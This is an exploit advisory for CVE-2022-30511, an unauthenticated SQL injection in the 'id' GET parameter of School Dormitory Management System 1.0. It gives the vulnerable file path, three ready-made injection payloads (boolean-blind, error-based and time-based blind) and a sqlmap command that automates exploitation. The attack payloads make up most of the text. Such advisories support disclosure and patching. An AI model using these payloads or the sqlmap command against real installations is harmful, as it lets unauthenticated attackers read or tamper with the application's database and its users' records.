CVE-2022-30511

School Dormitory Management System 1.0 - Unauthenticated SQL Injection

Exploit Title: School Dormitory Management System 1.0 - Unauthenticated SQL Injection

Date: 2022-05-25

CVE: CVE-2022-30511

Exploit Author: Abdulaziz Saad (@b4zb0z)

Vendor Homepage: https://www.sourcecodester.com/

Software Link: https://www.sourcecodester.com/php/15319/school-dormitory-management-system-phpoop-free-source-code.html

Version: 1.0

Tested on: LAMP, Ubuntu

[#] Vulnerability Location: $_GET['id'] in /dms/admin/accounts/view_details.php:4

Parameter: id (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: page=accounts/view_details&id=2' AND 8853=8853 AND 'kujz'='kujz

Type: error-based

Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: page=accounts/view_details&id=2' AND (SELECT 8739 FROM(SELECT COUNT(*),CONCAT(0x716a6b6a71,(SELECT (ELT(8739=8739,1))),0x71766b7a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'fkLf'='fkLf

Type: time-based blind

Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: page=accounts/view_details&id=2' AND (SELECT 7339 FROM (SELECT(SLEEP(5)))Dkxx) AND 'UZCm'='UZCm

[#] Exploitation Using SQLMAP: sqlmap -u "http://localhost/dms/admin/?page=accounts/view_details&id=2" --dbms=mysql